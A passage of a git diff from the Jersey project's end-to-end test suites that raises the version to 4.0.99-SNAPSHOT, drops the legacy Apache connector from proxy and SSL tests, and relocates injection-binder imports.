+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2019 Banco do Brasil S/A. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -23,7 +23,6 @@
 import org.eclipse.jetty.server.Server;
 import org.eclipse.jetty.server.internal.HttpChannelState;
 import org.eclipse.jetty.util.Callback;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
@@ -59,7 +58,6 @@
  */
 @Suite
 @SelectClasses({
-        ProxyTest.ApacheConnectorProviderProxyTest.class,
         ProxyTest.Apache5ConnectorProviderProxyTest.class,
         ProxyTest.GrizzlyConnectorProviderProxyTest.class,
         ProxyTest.JettyConnectorProviderProxyTest.class,
@@ -73,14 +71,6 @@
     private static final String PROXY_PASSWORD = "proxy-password";
     private static final String PROXY_NO_PASS = "proxy-no-pass";
 
-    public static class ApacheConnectorProviderProxyTest extends ProxyTemplateTest {
-        public ApacheConnectorProviderProxyTest()
-                throws NoSuchMethodException, InvocationTargetException, InstantiationException,
-                IllegalAccessException {
-            super(ApacheConnectorProvider.class);
-        }
-    }
-
     public static class Apache5ConnectorProviderProxyTest extends ProxyTemplateTest {
         public Apache5ConnectorProviderProxyTest()
                 throws NoSuchMethodException, InvocationTargetException, InstantiationException,
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
index 0fde39c..68199a4 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,6 @@
 import javax.net.ssl.SSLContext;
 
 import org.glassfish.jersey.SslConfigurator;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
@@ -57,7 +56,6 @@
         final ConnectorProvider[] providers = new ConnectorProvider[] {
                 new HttpUrlConnectorProvider(),
                 new GrizzlyConnectorProvider(),
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new JavaNetHttpConnectorProvider(),
                 new JettyConnectorProvider()
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java
index d958151..746a840 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,7 +38,6 @@
 import javax.net.ssl.SSLContext;
 import javax.net.ssl.SSLSocketFactory;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -102,7 +101,6 @@
     @MethodSource("testData")
     public void testConcurrentRequestsWithCustomSSLContext(ConnectorProvider connectorProvider) throws Exception {
         if (HttpUrlConnectorProvider.class.isInstance(connectorProvider)
-                || (ApacheConnectorProvider.class.isInstance(connectorProvider))
                 || (Apache5ConnectorProvider.class.isInstance(connectorProvider))) {
             return;
         }
diff --git a/tests/e2e-core-common/pom.xml b/tests/e2e-core-common/pom.xml
index 95c7b2f..a45f513 100644
--- a/tests/e2e-core-common/pom.xml
+++ b/tests/e2e-core-common/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-core-common</artifactId>
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
index 12b2a54..456ef30 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.tests.e2e.common;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Application;
@@ -42,7 +43,7 @@
 public class TestRuntimeDelegate extends AbstractRuntimeDelegate {
 
     public TestRuntimeDelegate() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.SERVER).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java
index 27f009e..d7d6775 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,8 +22,8 @@
 
 import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.Providers;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java
index 262220a..9ae7342 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,10 @@
 
 package org.glassfish.jersey.tests.e2e.common.config;
 
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
+
 /**
- * Test contract for {@link org.glassfish.jersey.internal.ServiceFinderBinder} test.
+ * Test contract for {@link ServiceFinderBinder} test.
  *
  * @author Marek Potociar
  */
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java
index bd07da2..4248a61 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,17 +19,20 @@
 import java.util.Collections;
 
 import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.ext.ContextResolver;
 import jakarta.ws.rs.ext.Provider;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.ContextResolverFactory;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
+import org.glassfish.jersey.model.internal.CommonConfig;
+import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.tests.e2e.common.TestRuntimeDelegate;
 
 import org.junit.jupiter.api.BeforeEach;
@@ -115,6 +118,7 @@
         injectionManager.register(new Binder());
 
         BootstrapBag bootstrapBag = new BootstrapBag();
+        bootstrapBag.setConfiguration(new CommonConfig(RuntimeType.SERVER, ComponentBag.INCLUDE_ALL));
         ContextResolverFactory.ContextResolversConfigurator configurator =
                 new ContextResolverFactory.ContextResolversConfigurator();
         configurator.init(injectionManager, bootstrapBag);
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java
index 29f460b..a1c2ed8 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ExceptionMapperFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,8 +21,8 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.spi.ExtendedExceptionMapper;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java
index 85f1ea6..b816e04 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/JaxrsProvidersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,12 +29,12 @@
 import jakarta.ws.rs.ext.Providers;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.ContextResolverFactory;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
 import org.glassfish.jersey.internal.JaxrsProviders;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.message.internal.MessageBodyFactory;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java
index 67048f8..5b2ff24 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ParamConvertersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,7 @@
 package org.glassfish.jersey.tests.e2e.common.internal;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.ParamConverterConfigurator;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java
index 331a893..da68663 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ProviderBinderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -42,12 +42,12 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.hk2.CompositeBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 import org.glassfish.jersey.tests.e2e.common.TestRuntimeDelegate;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java
index 2b7bd58..4a382ac 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/TestBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,9 +22,9 @@
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.ext.ExceptionMapper;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 
 /**
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java
index 961af30..8e4a6ef 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/inject/ReferencingFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,7 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java
index d1b4d38..18657de 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/model/internal/CommonConfigTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -40,11 +40,11 @@
 import jakarta.annotation.Priority;
 import jakarta.inject.Inject;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.inject.hk2.Hk2InjectionManagerFactory;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.CommonConfig;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java
index 040aeb2..46e3e07 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/process/internal/ExecutorProvidersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,8 +28,9 @@
 import jakarta.inject.Named;
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
+import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.util.Producer;
@@ -208,7 +209,7 @@
     @BeforeEach
     public void setup() {
         injectionManager = Injections.createInjectionManager(this);
-        ExecutorProviders.registerExecutorBindings(injectionManager);
+        ExecutorProviders.registerExecutorBindings(injectionManager, RuntimeType.SERVER);
         injectionManager.completeRegistration();
     }
 
diff --git a/tests/e2e-entity/pom.xml b/tests/e2e-entity/pom.xml
index 2cb4920..e4f8195 100644
--- a/tests/e2e-entity/pom.xml
+++ b/tests/e2e-entity/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-entity</artifactId>
@@ -138,11 +138,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-grizzly-connector</artifactId>
             <scope>test</scope>
         </dependency>
@@ -224,15 +219,6 @@
             </properties>
         </profile>
         <profile>
-            <id>test-suit</id> <!--due to the broadcast test failure after update to the latest junit platform suite -->
-            <activation>       <!--for JDK 11 (only in CI/CD job) it's required to used legacy junit version -->
-                <jdk>11</jdk>
-            </activation>
-            <properties>
-                <junit-platform-suite.version>${junit-platform-suite.legacy.version}</junit-platform-suite.version>
-            </properties>
-        </profile>
-        <profile>
             <id>sonar</id>
             <build>
                 <pluginManagement>
diff --git a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java
index c97bea3..0f7b854 100644
--- a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java
+++ b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/BroadcasterExecutorTest.java
@@ -97,12 +97,17 @@
                 }
 
                 @Override
-                public void close() {
+                public void close() /* TODO 4.0 throws IOException */ {
                     final String name = Thread.currentThread().getName();
                     LOGGER.info("onComplete called from " + name);
                     onCompleteThreadOk = name.startsWith(THREAD_PREFIX);
                     closeLatch.countDown();
-                    eventSink.close();
+                    try {
+                        eventSink.close();
+                    } catch (Exception e) {
+                        // TODO 4.0 throws
+                        throw new RuntimeException(e);
+                    }
                 }
             });
         }
diff --git a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java
index d0c22f6..248c8f4 100644
--- a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java
+++ b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/sse/GenericEntityTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2018, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -122,7 +122,7 @@
         @GET
         @Path("string")
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void sendString(@Context SseEventSink sink, @Context Sse sse) {
+        public void sendString(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             GenericEntity<String> ges = new GenericEntity<String>("Cindy") {
             };
             try (SseEventSink s = sink) {
@@ -133,7 +133,7 @@
         @GET
         @Path("pair")
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void sendPair(@Context SseEventSink sink, @Context Sse sse) {
+        public void sendPair(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             Pair<String, Integer> person = new Pair<>("Cindy", 30);
             GenericEntity<Pair<String, Integer>> entity = new GenericEntity<Pair<String, Integer>>(person) {
             };
@@ -145,7 +145,7 @@
         @GET
         @Path("list")
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void sendList(@Context SseEventSink sink, @Context Sse sse) {
+        public void sendList(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             Pair<String, Integer> person1 = new Pair<>("Cindy", 30);
             Pair<String, Integer> person2 = new Pair<>("Jack", 32);
             List<Pair<String, Integer>> people = new LinkedList<>();
diff --git a/tests/e2e-inject/cdi-inject-weld/pom.xml b/tests/e2e-inject/cdi-inject-weld/pom.xml
index c0ed3e2..ad2c64f 100644
--- a/tests/e2e-inject/cdi-inject-weld/pom.xml
+++ b/tests/e2e-inject/cdi-inject-weld/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>e2e-inject</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject-cdi-inject-weld</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/pom.xml b/tests/e2e-inject/cdi2-se/pom.xml
index 2d6a77b..ec33edc 100644
--- a/tests/e2e-inject/cdi2-se/pom.xml
+++ b/tests/e2e-inject/cdi2-se/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>e2e-inject</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject-cdi2-se</artifactId>
diff --git a/tests/e2e-inject/hk2/pom.xml b/tests/e2e-inject/hk2/pom.xml
index e2dc477..ee0ae6f 100644
--- a/tests/e2e-inject/hk2/pom.xml
+++ b/tests/e2e-inject/hk2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>e2e-inject</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java
index 0826456..f573f14 100644
--- a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java
+++ b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2AbstractBinderInFeaturesTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.e2e.inject.hk2;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
diff --git a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java
index abc0981..d0bb564 100644
--- a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java
+++ b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/HK2FactoryBindingTest.java
@@ -18,7 +18,7 @@
 
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.InjectionManagerClientProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
diff --git a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java
index 90d29e5..ae938c8 100644
--- a/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java
